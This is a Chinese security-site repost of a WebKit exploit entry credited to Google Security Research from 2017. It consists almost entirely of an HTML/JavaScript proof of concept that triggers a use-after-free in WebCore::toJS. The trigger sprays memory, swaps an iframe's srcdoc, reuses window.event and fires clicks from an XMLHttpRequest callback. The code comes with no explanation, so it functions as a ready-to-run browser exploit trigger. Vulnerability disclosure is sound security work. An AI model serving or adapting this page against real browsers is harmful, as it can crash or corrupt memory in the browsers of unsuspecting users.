Apple WebKit - 'WebCore::toJS' Use-After-Free

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Apple WebKit - 'WebCore::toJS' Use-After-Free

来源：Google Security Research 作者：Google 发布时间：2017-04-05

<script>
function freememory() {
var a;
for(var i=0;i<100;i++) {
    a = new Uint8Array(1024*1024);
}
}
function f1() {
var iframe = document.getElementById("iframe");
iframe.srcdoc = "x";
window.frames.event = window.event;
freememory();
}
function f2() {
var h = new XMLHttpRequest();
h.onreadystatechange = f1;
h.open("foo","1");
var e = window.event;
e.initEvent("1",true,true);
e.currentTarget.click();
}
</script>
</head>
<body onload=f1()>
<iframe id="iframe" onload="f2()"></iframe>

[